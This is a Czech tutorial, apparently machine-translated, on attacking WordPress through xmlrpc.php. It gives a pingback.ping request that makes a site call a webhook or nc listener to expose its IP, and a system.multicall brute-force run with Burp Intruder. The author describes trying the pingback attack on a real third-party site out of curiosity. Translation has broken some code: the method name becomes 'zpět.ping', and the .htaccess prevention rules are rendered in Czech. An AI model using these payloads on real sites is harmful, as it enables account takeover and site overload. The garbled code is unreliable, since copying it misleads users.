Articles

Zneužití xmlrpc.php

X

Soukromí & Cookies

Tato stránka používá cookies. Pokračováním souhlasíte s jejich používáním. Zjistěte více, včetně toho, jak soubory cookie ovládat.

Mám to!

Inzerce

Co je XML-RPC?

XML-RPC je rozhraní API, které informace nebo data překroutí do souboru XML a odešle je mobilní aplikaci nebo vzdálenému softwaru. To bylo zavedeno, protože v dřívějších dobách nebyla rychlost internetu vysoká, místo aby se to zapisovalo online. Uživatelé zapisují svůj obsah offline a publikují vše dohromady pomocí rozhraní API. Jak se zlepšovaly internetové služby, většina z nás už tuto funkci nepoužívá, často se na ni zapomnělo.

xml_for

Jaké jsou zranitelnosti?

  1. Útok hrubou silou. Hlavním důvodem k provedení útoku je, že toto rozhraní API nemá omezení pokusů o přihlášení na webu. Nemusí získat správné přihlašovací údaje, ale přesto způsobí problémy, například přetížení webu. Je ovlivněna dostupnost webu.
  2. Překvapení/odcizení přihlašovacích údajů. Chybějící systém ověřování. Pokaždé, když se uživatel pokusí přistoupit na web, jsou přihlašovací údaje odeslány v rámci formuláře XML. Pokud dojde k zachycení spojení / MITM, jsou odhalena čistá data XML.
  3. XMLRPC pingback.ping. Útočník může pomocí této metody získat skutečnou veřejnou adresu webu WordPress.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Předtím vám začnu ukazovat podrobné kroky provedení následujících útoků. Veškeré vaše nezákonné kroky, které jste provedli, jsou na vaši vlastní zodpovědnost. Nejsem zodpovědný za žádnou z vašich akcí. Prosím, nastavte si k tomu své vlastní prostředí nebo před provedením požádejte o povolení.

⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️⚠️

Útok na XMLRPC pomocí Burpsuite

Nejprve zkontrolujte, zda je na cílovém webu přístupný soubor XMLRPC.php. V tomto případě jsem pro provedení útoku nastavil ukázkový web WordPress.

checking

„Server XML-RPC přijímá pouze požadavky POST.“

Při použití metody GET pro načtení souboru obvykle dostaneme tento výsledek.

Dále provedeme metodu POST pro načtení všech použitelných metod na serveru XMLRPC.

POST /xmlrpc.php/ HTTP/1.1Host: 192.168.220.137Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: en-SG,en-US;q=0.9,en;q=0.8Connection: closeContent-Length: 137<?xml version="1.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>

methods

Server vám odpoví seznamem metod, které lze použít. V tomto případě nás zajímá zejména metoda pingback.ping. Jednu věc je třeba vzít na vědomí, že všechna tato data přicházející a odcházející používají formát XML, jak je vysvětleno výše. Ujistěte se tedy, že formát dat je správný.

Pro provedení útoku si musíme nejprve připravit tyto 2 věci

  1. Volný webhook.URL webu nebo jakoukoli jinou alternativu podle vašich preferencí, jako je beeceptor a postbin
  2. Validní URL cílového příspěvku WordPress.

<?xml version=“1.0″ encoding=“UTF-8″?>
<methodCall>
<methodName>zpět.ping</methodName>
<params>
<param>
<value><string></string></value>
</param>
<param>
<value><string></string></value>
</param>
</params>
</methodCall>

webhook

result

Níže je uveden další příklad tohoto útoku provedeného na tomto webu WordPress. ANO! Ten, na který se právě díváte. Ze zvědavosti chci vyzkoušet napadení skutečného webu místo toho, který jsem hostoval.

own

Jak vidíte, tento útok je neúspěšný a v postbinu se nezobrazí žádný výsledek. Zdá se, že udělali nějaké opatření a prevenci online webu WordPress. Tato metoda je užitečná pro vlastní nastavení webu a nezakázala xmlrpc.php

Pokud nechcete používat POSTBIN, otevřete NC a nastavte na režim naslouchání funguje stejně! 👍👍

ncnc2

Útok hrubou silou pomocí XMLRPC.php

Jak je uvedeno výše, počet pokusů není omezen. Získání úspěšné kombinace uživatelského jména a hesla je jen otázkou času. A také neexistuje žádný mechanismus, jako je zablokování účtu, po určitém počtu pokusů.

<?xml version="1.0"?><methodCall><methodName>system.multicall</methodName><params><param><value><array><data><value><struct><member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member><member><name>params</name><value><array><data><value><array><data><value><string></string></value><value><string></string></value></data></array></value></data></array></value></member></struct></value></data></array></value></param></params></methodCall>

Pro ukázku rozdílu mezi úspěšným a neúspěšným přihlášením uvádíme příklad.

brute

A samozřejmě byste k provádění tohoto druhu útoků hrubou silou měli používat Vetřelce.

Nejprve zkontrolujte cíl útoku, v mém případě budu používat IP adresu svého webu.

target

musíme nastavit Pozice užitečného zatížení a v seznamu Typ útoku vybrat ‚Cluster bomb‘. Dobrý zdroj informací o pozicích a typech útoků

postion

Tady musíme nastavit 2 pozice užitečného zatížení, ‚uživatelské jméno‘ a heslo. Dále musíme nastavit seznam slov. Toto je dokumentace typů užitečného zatížení

usernamepassword

Klikněte na ‚Spustit útok‘, až budete připraveni

success

Jak si můžeme všimnout, jeden z požadavků má jinou délku. A když zkontrolujeme nezpracovaná data na kartě odpovědi, ukáže nám tato sada kombinace úspěšné přihlášení.

Prevence

  1. Instalace pluginu pro lenochy
  2. Zakázat xmlrpc.php pomocí .htaccess

# Zakázat komukoli přístup k souboru
<Soubory xmlrpc.php>
pořadí deny,allow
zakázat ze všech
</Soubory>

.